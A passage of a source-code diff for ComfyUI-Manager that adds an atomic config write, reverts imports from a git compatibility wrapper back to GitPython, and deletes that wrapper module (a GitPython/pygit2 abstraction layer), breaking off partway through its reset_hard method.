if directory and not os.path.exists(directory):
|
||||
os.makedirs(directory)
|
||||
|
||||
# Replace from the same directory so readers never see a partial write.
|
||||
tmp_path = None
|
||||
try:
|
||||
with tempfile.NamedTemporaryFile(
|
||||
'w', dir=directory or '.', prefix='.config-', suffix='.tmp', delete=False
|
||||
) as configfile:
|
||||
tmp_path = configfile.name
|
||||
config.write(configfile)
|
||||
configfile.flush()
|
||||
os.fsync(configfile.fileno())
|
||||
# Retain the existing mode instead of the temporary file's 0600.
|
||||
if os.path.exists(config_path):
|
||||
os.chmod(tmp_path, os.stat(config_path).st_mode & 0o777)
|
||||
os.replace(tmp_path, config_path)
|
||||
tmp_path = None
|
||||
finally:
|
||||
if tmp_path is not None and os.path.exists(tmp_path):
|
||||
os.remove(tmp_path)
|
||||
|
||||
# Clear only persisted keys, and only after a successful write.
|
||||
cached.dirty_keys.difference_update(keys)
|
||||
@@ -3,7 +3,7 @@ import os
|
||||
import logging
|
||||
from . import manager_util
|
||||
import toml
|
||||
from .git_compat import open_repo
|
||||
import git
|
||||
|
||||
|
||||
# read env vars
|
||||
@@ -22,7 +22,7 @@ if comfy_base_path is None:
|
||||
comfy_base_path = comfy_path
|
||||
|
||||
channel_list_template_path = os.path.join(manager_util.comfyui_manager_path, 'channels.list.template')
|
||||
git_script_path = os.path.join(manager_util.comfyui_manager_path, "common", "git_helper.py")
|
||||
git_script_path = os.path.join(manager_util.comfyui_manager_path, "git_helper.py")
|
||||
|
||||
manager_files_path = None
|
||||
manager_config_path = None
|
||||
@@ -31,9 +31,10 @@ manager_startup_script_path:str = None
|
||||
manager_snapshot_path = None
|
||||
manager_pip_overrides_path = None
|
||||
manager_pip_blacklist_path = None
|
||||
manager_components_path = None
|
||||
manager_batch_history_path = None
|
||||
|
||||
def update_user_directory(manager_dir):
|
||||
def update_user_directory(user_dir):
|
||||
global manager_files_path
|
||||
global manager_config_path
|
||||
global manager_channel_list_path
|
||||
@@ -41,9 +42,10 @@ def update_user_directory(manager_dir):
|
||||
global manager_snapshot_path
|
||||
global manager_pip_overrides_path
|
||||
global manager_pip_blacklist_path
|
||||
global manager_components_path
|
||||
global manager_batch_history_path
|
||||
|
||||
manager_files_path = manager_dir
|
||||
manager_files_path = os.path.abspath(os.path.join(user_dir, 'default', 'ComfyUI-Manager'))
|
||||
if not os.path.exists(manager_files_path):
|
||||
os.makedirs(manager_files_path)
|
||||
|
||||
@@ -59,6 +61,7 @@ def update_user_directory(manager_dir):
|
||||
manager_channel_list_path = os.path.join(manager_files_path, 'channels.list')
|
||||
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
|
||||
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
|
||||
manager_components_path = os.path.join(manager_files_path, "components")
|
||||
manager_util.cache_dir = os.path.join(manager_files_path, "cache")
|
||||
manager_batch_history_path = os.path.join(manager_files_path, "batch_history")
|
||||
|
||||
@@ -70,7 +73,7 @@ def update_user_directory(manager_dir):
|
||||
|
||||
try:
|
||||
import folder_paths
|
||||
update_user_directory(folder_paths.get_system_user_directory("manager"))
|
||||
update_user_directory(folder_paths.get_user_directory())
|
||||
|
||||
except Exception:
|
||||
# fallback:
|
||||
@@ -98,8 +101,8 @@ def get_current_comfyui_ver():
|
||||
|
||||
def get_comfyui_tag():
|
||||
try:
|
||||
with open_repo(comfy_path) as repo:
|
||||
return repo.describe_tags()
|
||||
with git.Repo(comfy_path) as repo:
|
||||
return repo.git.describe('--tags')
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
@@ -1,940 +0,0 @@
|
||||
"""
|
||||
git_compat.py — Compatibility layer for git operations in ComfyUI-Manager.
|
||||
|
||||
Wraps either GitPython (`git` module) or `pygit2`, depending on availability
|
||||
and the CM_USE_PYGIT2 environment variable (set by Desktop 2.0 Launcher).
|
||||
|
||||
Exports:
|
||||
USE_PYGIT2 — bool: which backend is active
|
||||
GitCommandError — exception class for git command failures
|
||||
open_repo(path) — returns a repo wrapper object
|
||||
clone_repo(url, dest, progress=None) — clone a repository
|
||||
get_comfyui_tag(repo_path) — get describe --tags output
|
||||
setup_git_environment(git_exe) — configure git executable path
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
from abc import ABC, abstractmethod
|
||||
from collections import deque
|
||||
from datetime import datetime, timezone, timedelta
|
||||
|
||||
|
||||
# Snapshot of the user's global `http.proxy` (captured before the config
|
||||
# search path is blanked under the pygit2 backend) so corporate proxy
|
||||
# settings survive and can be passed explicitly to fetch/clone. None means
|
||||
# "no proxy".
|
||||
_HTTP_PROXY = None
|
||||
|
||||
|
||||
def _to_https_url(url):
|
||||
"""Rewrite an SSH-form git URL to its anonymous HTTPS equivalent.
|
||||
|
||||
Handles `git@host:owner/repo(.git)` and `ssh://git@host[:port]/owner/repo(.git)`.
|
||||
A custom SSH port is dropped — the HTTPS endpoint of a hosting service
|
||||
lives on the standard port regardless of its SSH port. Leading slashes in
|
||||
the path part are collapsed so `git@host:/abs/path` does not yield a
|
||||
double-slash URL. Returns the URL unchanged if it is not SSH-form, so
|
||||
pygit2 clone/fetch of public repos never requires SSH credentials even
|
||||
when a repo's own config stores an SSH origin.
|
||||
"""
|
||||
if not url:
|
||||
return url
|
||||
m = re.match(r"^ssh://git@([^:/]+)(?::\d+)?/(.+)$", url)
|
||||
if m is None:
|
||||
m = re.match(r"^git@([^:/]+):(.+)$", url)
|
||||
if m:
|
||||
return "https://%s/%s" % (m.group(1), m.group(2).lstrip("/"))
|
||||
return url
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Backend selection
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_PYGIT2_REQUESTED = os.environ.get('CM_USE_PYGIT2', '').strip() == '1'
|
||||
USE_PYGIT2 = _PYGIT2_REQUESTED
|
||||
|
||||
if not USE_PYGIT2:
|
||||
try:
|
||||
import git as _git
|
||||
_git.Git().execute(['git', '--version'])
|
||||
except Exception:
|
||||
USE_PYGIT2 = True
|
||||
|
||||
if USE_PYGIT2:
|
||||
try:
|
||||
import pygit2 as _pygit2
|
||||
except ImportError:
|
||||
# pygit2 not available either — fall back to GitPython and let it
|
||||
# fail at the point of use, preserving pre-existing behavior.
|
||||
USE_PYGIT2 = False
|
||||
_PYGIT2_REQUESTED = False
|
||||
import git as _git
|
||||
else:
|
||||
# Disable owner validation once at import time.
|
||||
# Required for Desktop 2.0 standalone installs where repo directories
|
||||
# may be owned by a different user (e.g., system-installed paths).
|
||||
# See CVE-2022-24765 for context on this validation.
|
||||
_pygit2.option(_pygit2.GIT_OPT_SET_OWNER_VALIDATION, 0)
|
||||
|
||||
# Snapshot the global http.proxy BEFORE blanking the config search
|
||||
# path, so a corporate proxy survives and can be passed explicitly
|
||||
# to clone/fetch below.
|
||||
try:
|
||||
_global_cfg = _pygit2.Config.get_global_config()
|
||||
try:
|
||||
_HTTP_PROXY = _global_cfg["http.proxy"] or None
|
||||
except Exception:
|
||||
_HTTP_PROXY = None
|
||||
except Exception:
|
||||
_HTTP_PROXY = None
|
||||
|
||||
# Ignore system/global/XDG git config for libgit2 operations. A
|
||||
# user's global config can carry `insteadOf` rewrites (e.g.
|
||||
# https->ssh) or credential helpers that force authentication,
|
||||
# which libgit2 cannot satisfy without a credentials callback
|
||||
# ("authentication required but no callback set"). The bundled
|
||||
# pygit2 has no SSH transport, so an SSH rewrite can never succeed;
|
||||
# blanking the config search path keeps clone/fetch on anonymous
|
||||
# HTTPS.
|
||||
try:
|
||||
from pygit2.enums import ConfigLevel as _ConfigLevel
|
||||
_cfg_levels = [_ConfigLevel.SYSTEM, _ConfigLevel.XDG, _ConfigLevel.GLOBAL]
|
||||
except (ImportError, AttributeError):
|
||||
_cfg_levels = [
|
||||
_pygit2.GIT_CONFIG_LEVEL_SYSTEM,
|
||||
_pygit2.GIT_CONFIG_LEVEL_XDG,
|
||||
_pygit2.GIT_CONFIG_LEVEL_GLOBAL,
|
||||
]
|
||||
for _lvl in _cfg_levels:
|
||||
try:
|
||||
_pygit2.settings.search_path[_lvl] = ""
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not USE_PYGIT2:
|
||||
import git as _git
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Shared exception type
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
if USE_PYGIT2:
|
||||
class GitCommandError(Exception):
|
||||
"""Stand-in for git.GitCommandError when using pygit2 backend."""
|
||||
pass
|
||||
else:
|
||||
from git import GitCommandError # noqa: F401
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Banner
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
if USE_PYGIT2:
|
||||
if _PYGIT2_REQUESTED:
|
||||
print("[ComfyUI-Manager] Using pygit2 backend (CM_USE_PYGIT2=1)")
|
||||
else:
|
||||
print("[ComfyUI-Manager] Using pygit2 backend (system git not available)")
|
||||
else:
|
||||
print("[ComfyUI-Manager] Using GitPython backend")
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# Abstract base class
|
||||
# ===================================================================
|
||||
|
||||
class GitRepo(ABC):
|
||||
"""Abstract interface for git repository operations."""
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def working_dir(self) -> str: ...
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def head_commit_hexsha(self) -> str: ...
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def head_is_detached(self) -> bool: ...
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def head_commit_datetime(self): ...
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def active_branch_name(self) -> str: ...
|
||||
|
||||
@abstractmethod
|
||||
def is_dirty(self) -> bool: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_tracking_remote_name(self) -> str: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_remote(self, name: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def has_ref(self, ref_name: str) -> bool: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_ref_commit_hexsha(self, ref_name: str) -> str: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_ref_commit_datetime(self, ref_name: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def list_remotes(self) -> list: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_remote_url(self, index_or_name) -> str: ...
|
||||
|
||||
@abstractmethod
|
||||
def iter_commits_count(self) -> int: ...
|
||||
|
||||
@abstractmethod
|
||||
def symbolic_ref(self, ref: str) -> str: ...
|
||||
|
||||
@abstractmethod
|
||||
def describe_tags(self, exact_match=False): ...
|
||||
|
||||
@abstractmethod
|
||||
def list_tags(self) -> list: ...
|
||||
|
||||
@abstractmethod
|
||||
def list_heads(self) -> list: ...
|
||||
|
||||
@abstractmethod
|
||||
def list_branches(self) -> list: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_head_by_name(self, name: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def head_commit_equals(self, other_commit) -> bool: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_ref_object(self, ref_name: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def stash(self): ...
|
||||
|
||||
@abstractmethod
|
||||
def pull_ff_only(self): ...
|
||||
|
||||
@abstractmethod
|
||||
def reset_hard(self, ref: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def create_backup_branch(self, name: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def checkout(self, ref): ...
|
||||
|
||||
@abstractmethod
|
||||
def checkout_new_branch(self, branch_name: str, start_point: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def submodule_update(self): ...
|
||||
|
||||
@abstractmethod
|
||||
def clear_cache(self): ...
|
||||
|
||||
@abstractmethod
|
||||
def fetch_remote_by_index(self, index): ...
|
||||
|
||||
@abstractmethod
|
||||
def pull_remote_by_index(self, index): ...
|
||||
|
||||
@abstractmethod
|
||||
def close(self): ...
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, *args):
|
||||
self.close()
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# Helper types for tag/head/ref proxies
|
||||
# ===================================================================
|
||||
|
||||
class _TagProxy:
|
||||
"""Mimics a GitPython tag reference: .name and .commit."""
|
||||
def __init__(self, name, commit_obj):
|
||||
self.name = name
|
||||
self.commit = commit_obj
|
||||
|
||||
|
||||
class _HeadProxy:
|
||||
"""Mimics a GitPython head reference: .name and .commit."""
|
||||
def __init__(self, name, commit_obj=None):
|
||||
self.name = name
|
||||
self.commit = commit_obj
|
||||
|
||||
|
||||
class _RefProxy:
|
||||
"""Mimics a GitPython ref: .object.hexsha, .object.committed_datetime, .reference.commit."""
|
||||
def __init__(self, hexsha, committed_datetime, commit_obj=None):
|
||||
self.object = type('obj', (), {
|
||||
'hexsha': hexsha,
|
||||
'committed_datetime': committed_datetime,
|
||||
})()
|
||||
self.reference = type('ref', (), {'commit': commit_obj})() if commit_obj is not None else None
|
||||
|
||||
|
||||
class _RemoteProxy:
|
||||
"""Mimics a GitPython remote: .name, .url, .fetch(), .pull()."""
|
||||
def __init__(self, name, url, fetch_fn, pull_fn=None):
|
||||
self.name = name
|
||||
self.url = url
|
||||
self._fetch = fetch_fn
|
||||
self._pull = pull_fn
|
||||
|
||||
def fetch(self):
|
||||
return self._fetch()
|
||||
|
||||
def pull(self):
|
||||
if self._pull is not None:
|
||||
return self._pull()
|
||||
raise GitCommandError("pull not supported on this remote")
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# GitPython wrapper — 1:1 pass-throughs
|
||||
# ===================================================================
|
||||
|
||||
class _GitPythonRepo(GitRepo):
|
||||
def __init__(self, path):
|
||||
self._repo = _git.Repo(path)
|
||||
|
||||
@property
|
||||
def working_dir(self):
|
||||
return self._repo.working_dir
|
||||
|
||||
@property
|
||||
def head_commit_hexsha(self):
|
||||
return self._repo.head.commit.hexsha
|
||||
|
||||
@property
|
||||
def head_is_detached(self):
|
||||
return self._repo.head.is_detached
|
||||
|
||||
@property
|
||||
def head_commit_datetime(self):
|
||||
return self._repo.head.commit.committed_datetime
|
||||
|
||||
@property
|
||||
def active_branch_name(self):
|
||||
return self._repo.active_branch.name
|
||||
|
||||
def is_dirty(self):
|
||||
return self._repo.is_dirty()
|
||||
|
||||
def get_tracking_remote_name(self):
|
||||
return self._repo.active_branch.tracking_branch().remote_name
|
||||
|
||||
def get_remote(self, name):
|
||||
r = self._repo.remote(name=name)
|
||||
return _RemoteProxy(r.name, r.url, r.fetch, getattr(r, 'pull', None))
|
||||
|
||||
def has_ref(self, ref_name):
|
||||
return ref_name in self._repo.refs
|
||||
|
||||
def get_ref_commit_hexsha(self, ref_name):
|
||||
return self._repo.refs[ref_name].object.hexsha
|
||||
|
||||
def get_ref_commit_datetime(self, ref_name):
|
||||
return self._repo.refs[ref_name].object.committed_datetime
|
||||
|
||||
def list_remotes(self):
|
||||
return [_RemoteProxy(r.name, r.url, r.fetch, getattr(r, 'pull', None))
|
||||
for r in self._repo.remotes]
|
||||
|
||||
def get_remote_url(self, index_or_name):
|
||||
if isinstance(index_or_name, int):
|
||||
return self._repo.remotes[index_or_name].url
|
||||
return self._repo.remote(name=index_or_name).url
|
||||
|
||||
def iter_commits_count(self):
|
||||
return len(list(self._repo.iter_commits('HEAD')))
|
||||
|
||||
def symbolic_ref(self, ref):
|
||||
return self._repo.git.symbolic_ref(ref)
|
||||
|
||||
def describe_tags(self, exact_match=False):
|
||||
try:
|
||||
if exact_match:
|
||||
return self._repo.git.describe('--tags', '--exact-match')
|
||||
else:
|
||||
return self._repo.git.describe('--tags')
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def list_tags(self):
|
||||
return [_TagProxy(t.name, t.commit) for t in self._repo.tags]
|
||||
|
||||
def list_heads(self):
|
||||
return [_HeadProxy(h.name, h.commit) for h in self._repo.heads]
|
||||
|
||||
def list_branches(self):
|
||||
return [_HeadProxy(b.name, b.commit) for b in self._repo.branches]
|
||||
|
||||
def get_head_by_name(self, name):
|
||||
head = getattr(self._repo.heads, name)
|
||||
return _HeadProxy(head.name, head.commit)
|
||||
|
||||
def head_commit_equals(self, other_commit):
|
||||
return self._repo.head.commit == other_commit
|
||||
|
||||
def get_ref_object(self, ref_name):
|
||||
ref = self._repo.refs[ref_name]
|
||||
try:
|
||||
ref_commit = ref.reference.commit
|
||||
except (TypeError, AttributeError):
|
||||
ref_commit = ref.object
|
||||
return _RefProxy(
|
||||
ref.object.hexsha,
|
||||
ref.object.committed_datetime,
|
||||
commit_obj=ref_commit,
|
||||
)
|
||||
|
||||
def stash(self):
|
||||
self._repo.git.stash()
|
||||
|
||||
def pull_ff_only(self):
|
||||
self._repo.git.pull('--ff-only')
|
||||
|
||||
def reset_hard(self, ref):
|
||||
self._repo.git.reset('--hard', ref)
|
||||
|
||||
def create_backup_branch(self, name):
|
||||
self._repo.create_head(name)
|
||||
|
||||
def checkout(self, ref):
|
||||
self._repo.git.checkout(ref)
|
||||
|
||||
def checkout_new_branch(self, branch_name, start_point):
|
||||
self._repo.git.checkout('-b', branch_name, start_point)
|
||||
|
||||
def submodule_update(self):
|
||||
self._repo.git.submodule('update', '--init', '--recursive')
|
||||
|
||||
def clear_cache(self):
|
||||
self._repo.git.clear_cache()
|
||||
|
||||
def fetch_remote_by_index(self, index):
|
||||
self._repo.remotes[index].fetch()
|
||||
|
||||
def pull_remote_by_index(self, index):
|
||||
self._repo.remotes[index].pull()
|
||||
|
||||
def close(self):
|
||||
self._repo.close()
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# Pygit2 wrapper
|
||||
# ===================================================================
|
||||
|
||||
class _Pygit2Repo(GitRepo):
|
||||
def __init__(self, path):
|
||||
repo_path = os.path.abspath(path)
|
||||
git_dir = os.path.join(repo_path, '.git')
|
||||
for sub in ['refs/heads', 'refs/tags', 'refs/remotes']:
|
||||
try:
|
||||
os.makedirs(os.path.join(git_dir, sub), exist_ok=True)
|
||||
except OSError:
|
||||
pass
|
||||
self._repo = _pygit2.Repository(git_dir)
|
||||
self._working_dir = repo_path
|
||||
|
||||
def _fetch_remote(self, remote, refspecs=None):
|
||||
"""Fetch *remote* over the preserved proxy, transparently rewriting an
|
||||
SSH-form origin to anonymous HTTPS in memory.
|
||||
|
||||
The bundled pygit2 has no SSH transport, so a stored `git@host:...`
|
||||
origin would fail with an auth error. When the URL is SSH-form we fetch
|
||||
through an in-memory anonymous remote over HTTPS, leaving `.git/config`
|
||||
untouched (no on-disk rewrite).
|
||||
"""
|
||||
https_url = _to_https_url(remote.url)
|
||||
if https_url != remote.url:
|
||||
anon = self._repo.remotes.create_anonymous(https_url)
|
||||
anon.fetch(
|
||||
list(refspecs) if refspecs is not None
|
||||
else list(remote.fetch_refspecs),
|
||||
proxy=_HTTP_PROXY,
|
||||
)
|
||||
elif refspecs is not None:
|
||||
remote.fetch(list(refspecs), proxy=_HTTP_PROXY)
|
||||
else:
|
||||
remote.fetch(proxy=_HTTP_PROXY)
|
||||
|
||||
@property
|
||||
def working_dir(self):
|
||||
return self._working_dir
|
||||
|
||||
@property
|
||||
def head_commit_hexsha(self):
|
||||
return str(self._repo.head.peel(_pygit2.Commit).id)
|
||||
|
||||
@property
|
||||
def head_is_detached(self):
|
||||
return self._repo.head_is_detached
|
||||
|
||||
@property
|
||||
def head_commit_datetime(self):
|
||||
commit = self._repo.head.peel(_pygit2.Commit)
|
||||
ts = commit.commit_time
|
||||
offset_minutes = commit.commit_time_offset
|
||||
tz = timezone(timedelta(minutes=offset_minutes))
|
||||
return datetime.fromtimestamp(ts, tz=tz)
|
||||
|
||||
@property
|
||||
def active_branch_name(self):
|
||||
ref = self._repo.head.name
|
||||
if ref.startswith('refs/heads/'):
|
||||
return ref[len('refs/heads/'):]
|
||||
return ref
|
||||
|
||||
def is_dirty(self):
|
||||
st = self._repo.status()
|
||||
for flags in st.values():
|
||||
if flags == _pygit2.GIT_STATUS_CURRENT:
|
||||
continue
|
||||
if flags == _pygit2.GIT_STATUS_IGNORED:
|
||||
continue
|
||||
if flags == _pygit2.GIT_STATUS_WT_NEW:
|
||||
continue
|
||||
return True
|
||||
return False
|
||||
|
||||
def get_tracking_remote_name(self):
|
||||
branch = self._repo.branches.get(self.active_branch_name)
|
||||
if branch is None:
|
||||
raise GitCommandError("Cannot determine tracking branch: HEAD is detached or branch not found")
|
||||
upstream = branch.upstream
|
||||
if upstream is None:
|
||||
raise GitCommandError(f"No upstream configured for branch '{self.active_branch_name}'")
|
||||
# upstream.name can be "origin/master" or "refs/remotes/origin/master"
|
||||
name = upstream.name
|
||||
if name.startswith('refs/remotes/'):
|
||||
name = name[len('refs/remotes/'):]
|
||||
return name.split('/')[0]
|
||||
|
||||
def _pull_remote(self, remote):
|
||||
"""Fetch *remote* and fast-forward the active branch onto its upstream."""
|
||||
self._fetch_remote(remote)
|
||||
branch_name = self.active_branch_name
|
||||
branch = self._repo.branches.get(branch_name)
|
||||
if branch and branch.upstream:
|
||||
remote_commit = branch.upstream.peel(_pygit2.Commit)
|
||||
analysis, _ = self._repo.merge_analysis(remote_commit.id)
|
||||
if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
|
||||
self._repo.checkout_tree(self._repo.get(remote_commit.id))
|
||||
branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
|
||||
if branch_ref is not None:
|
||||
branch_ref.set_target(remote_commit.id)
|
||||
self._repo.head.set_target(remote_commit.id)
|
||||
|
||||
def get_remote(self, name):
|
||||
remote = self._repo.remotes[name]
|
||||
return _RemoteProxy(remote.name, remote.url,
|
||||
lambda: self._fetch_remote(remote),
|
||||
lambda: self._pull_remote(remote))
|
||||
|
||||
def has_ref(self, ref_name):
|
||||
for prefix in [f'refs/remotes/{ref_name}', f'refs/heads/{ref_name}',
|
||||
f'refs/tags/{ref_name}', ref_name]:
|
||||
try:
|
||||
if self._repo.references.get(prefix) is not None:
|
||||
return True
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
|
||||
def _resolve_ref(self, ref_name):
|
||||
for prefix in [f'refs/remotes/{ref_name}', f'refs/heads/{ref_name}',
|
||||
f'refs/tags/{ref_name}', ref_name]:
|
||||
ref = self._repo.references.get(prefix)
|
||||
if ref is not None:
|
||||
return ref.peel(_pygit2.Commit)
|
||||
raise GitCommandError(f"Reference not found: {ref_name}")
|
||||
|
||||
def get_ref_commit_hexsha(self, ref_name):
|
||||
return str(self._resolve_ref(ref_name).id)
|
||||
|
||||
def get_ref_commit_datetime(self, ref_name):
|
||||
commit = self._resolve_ref(ref_name)
|
||||
ts = commit.commit_time
|
||||
offset_minutes = commit.commit_time_offset
|
||||
tz = timezone(timedelta(minutes=offset_minutes))
|
||||
return datetime.fromtimestamp(ts, tz=tz)
|
||||
|
||||
def list_remotes(self):
|
||||
result = []
|
||||
for r in self._repo.remotes:
|
||||
result.append(_RemoteProxy(r.name, r.url,
|
||||
lambda r=r: self._fetch_remote(r),
|
||||
lambda r=r: self._pull_remote(r)))
|
||||
return result
|
||||
|
||||
def get_remote_url(self, index_or_name):
|
||||
if isinstance(index_or_name, int):
|
||||
remotes = list(self._repo.remotes)
|
||||
return remotes[index_or_name].url
|
||||
return self._repo.remotes[index_or_name].url
|
||||
|
||||
def iter_commits_count(self):
|
||||
count = 0
|
||||
head_commit = self._repo.head.peel(_pygit2.Commit)
|
||||
visited = set()
|
||||
queue = deque([head_commit.id])
|
||||
while queue:
|
||||
oid = queue.popleft()
|
||||
if oid in visited:
|
||||
continue
|
||||
visited.add(oid)
|
||||
count += 1
|
||||
commit = self._repo.get(oid)
|
||||
if commit is not None:
|
||||
for parent_id in commit.parent_ids:
|
||||
if parent_id not in visited:
|
||||
queue.append(parent_id)
|
||||
return count
|
||||
|
||||
def symbolic_ref(self, ref):
|
||||
git_dir = self._repo.path
|
||||
ref_file = os.path.join(git_dir, ref)
|
||||
if os.path.isfile(ref_file):
|
||||
with open(ref_file, 'r') as f:
|
||||
content = f.read().strip()
|
||||
if content.startswith('ref: '):
|
||||
return content[5:]
|
||||
return content
|
||||
ref_obj = self._repo.references.get(ref)
|
||||
if ref_obj is not None and ref_obj.type == _pygit2.GIT_REFERENCE_SYMBOLIC:
|
||||
return ref_obj.target
|
||||
raise GitCommandError(f"Not a symbolic reference: {ref}")
|
||||
|
||||
def describe_tags(self, exact_match=False):
|
||||
try:
|
||||
if exact_match:
|
||||
head_oid = self._repo.head.peel(_pygit2.Commit).id
|
||||
for ref_name in self._repo.references:
|
||||
if not ref_name.startswith('refs/tags/'):
|
||||
continue
|
||||
ref = self._repo.references.get(ref_name)
|
||||
if ref is None:
|
||||
continue
|
||||
try:
|
||||
if ref.peel(_pygit2.Commit).id == head_oid:
|
||||
return ref_name[len('refs/tags/'):]
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
else:
|
||||
import math
|
||||
num_objects = sum(1 for _ in self._repo.odb)
|
||||
abbrev = max(7, math.ceil(math.log2(max(num_objects, 1)) / 2)) if num_objects > 0 else 7
|
||||
return self._repo.describe(
|
||||
describe_strategy=1,
|
||||
abbreviated_size=abbrev,
|
||||
)
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def list_tags(self):
|
||||
tags = []
|
||||
for ref_name in self._repo.references:
|
||||
if ref_name.startswith('refs/tags/'):
|
||||
tag_name = ref_name[len('refs/tags/'):]
|
||||
ref = self._repo.references.get(ref_name)
|
||||
if ref is not None:
|
||||
try:
|
||||
commit = ref.peel(_pygit2.Commit)
|
||||
commit_obj = type('commit', (), {
|
||||
'hexsha': str(commit.id),
|
||||
'committed_datetime': datetime.fromtimestamp(
|
||||
commit.commit_time,
|
||||
tz=timezone(timedelta(minutes=commit.commit_time_offset))
|
||||
),
|
||||
})()
|
||||
tags.append(_TagProxy(tag_name, commit_obj))
|
||||
except Exception:
|
||||
tags.append(_TagProxy(tag_name, None))
|
||||
return tags
|
||||
|
||||
def list_heads(self):
|
||||
heads = []
|
||||
for ref_name in self._repo.references:
|
||||
if ref_name.startswith('refs/heads/'):
|
||||
branch_name = ref_name[len('refs/heads/'):]
|
||||
ref = self._repo.references.get(ref_name)
|
||||
commit_obj = None
|
||||
if ref is not None:
|
||||
try:
|
||||
commit = ref.peel(_pygit2.Commit)
|
||||
commit_obj = type('commit', (), {
|
||||
'hexsha': str(commit.id),
|
||||
'committed_datetime': datetime.fromtimestamp(
|
||||
commit.commit_time,
|
||||
tz=timezone(timedelta(minutes=commit.commit_time_offset))
|
||||
),
|
||||
})()
|
||||
except Exception:
|
||||
pass
|
||||
heads.append(_HeadProxy(branch_name, commit_obj))
|
||||
return heads
|
||||
|
||||
def list_branches(self):
|
||||
return self.list_heads()
|
||||
|
||||
def get_head_by_name(self, name):
|
||||
ref = self._repo.references.get(f'refs/heads/{name}')
|
||||
if ref is None:
|
||||
raise AttributeError(f"Head '{name}' not found")
|
||||
try:
|
||||
commit = ref.peel(_pygit2.Commit)
|
||||
commit_obj = type('commit', (), {
|
||||
'hexsha': str(commit.id),
|
||||
'committed_datetime': datetime.fromtimestamp(
|
||||
commit.commit_time,
|
||||
tz=timezone(timedelta(minutes=commit.commit_time_offset))
|
||||
),
|
||||
})()
|
||||
except Exception:
|
||||
commit_obj = None
|
||||
return _HeadProxy(name, commit_obj)
|
||||
|
||||
def head_commit_equals(self, other_commit):
|
||||
head_sha = str(self._repo.head.peel(_pygit2.Commit).id)
|
||||
if hasattr(other_commit, 'hexsha'):
|
||||
return head_sha == other_commit.hexsha
|
||||
return head_sha == str(other_commit)
|
||||
|
||||
def get_ref_object(self, ref_name):
|
||||
commit = self._resolve_ref(ref_name)
|
||||
hexsha = str(commit.id)
|
||||
dt = datetime.fromtimestamp(
|
||||
commit.commit_time,
|
||||
tz=timezone(timedelta(minutes=commit.commit_time_offset))
|
||||
)
|
||||
commit_obj = type('commit', (), {
|
||||
'hexsha': hexsha,
|
||||
'committed_datetime': dt,
|
||||
})()
|
||||
return _RefProxy(hexsha, dt, commit_obj=commit_obj)
|
||||
|
||||
def stash(self):
|
||||
sig = _pygit2.Signature('comfyui-manager', 'manager@comfy')
|
||||
self._repo.stash(sig)
|
||||
|
||||
def pull_ff_only(self):
|
||||
branch_name = self.active_branch_name
|
||||
branch = self._repo.branches.get(branch_name)
|
||||
if branch is None:
|
||||
raise GitCommandError(f"Branch '{branch_name}' not found")
|
||||
upstream = branch.upstream
|
||||
if upstream is None:
|
||||
raise GitCommandError(f"No upstream for branch '{branch_name}'")
|
||||
|
||||
remote_name = upstream.remote_name
|
||||
self._fetch_remote(self._repo.remotes[remote_name])
|
||||
|
||||
upstream = self._repo.branches.get(branch_name).upstream
|
||||
if upstream is None:
|
||||
raise GitCommandError(f"Upstream lost after fetch for '{branch_name}'")
|
||||
|
||||
remote_commit = upstream.peel(_pygit2.Commit)
|
||||
analysis, _ = self._repo.merge_analysis(remote_commit.id)
|
||||
|
||||
if analysis & _pygit2.GIT_MERGE_ANALYSIS_UP_TO_DATE:
|
||||
return
|
||||
|
||||
if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
|
||||
self._repo.checkout_tree(self._repo.get(remote_commit.id))
|
||||
branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
|
||||
if branch_ref is not None:
|
||||
branch_ref.set_target(remote_commit.id)
|
||||
self._repo.head.set_target(remote_commit.id)
|
||||
else:
|
||||
raise GitCommandError("Cannot fast-forward; merge or rebase required")
|
||||
|
||||
def reset_hard(self, ref):
|
||||
commit = None
|
||||
# Try as hex SHA first
|
||||
try:
|
||||
oid = _pygit2.Oid(hex=ref)
|
||||
commit = self._repo.get(oid)
|
||||
except (ValueError, Exception):
|
||||
pass
|
||||
|
||||
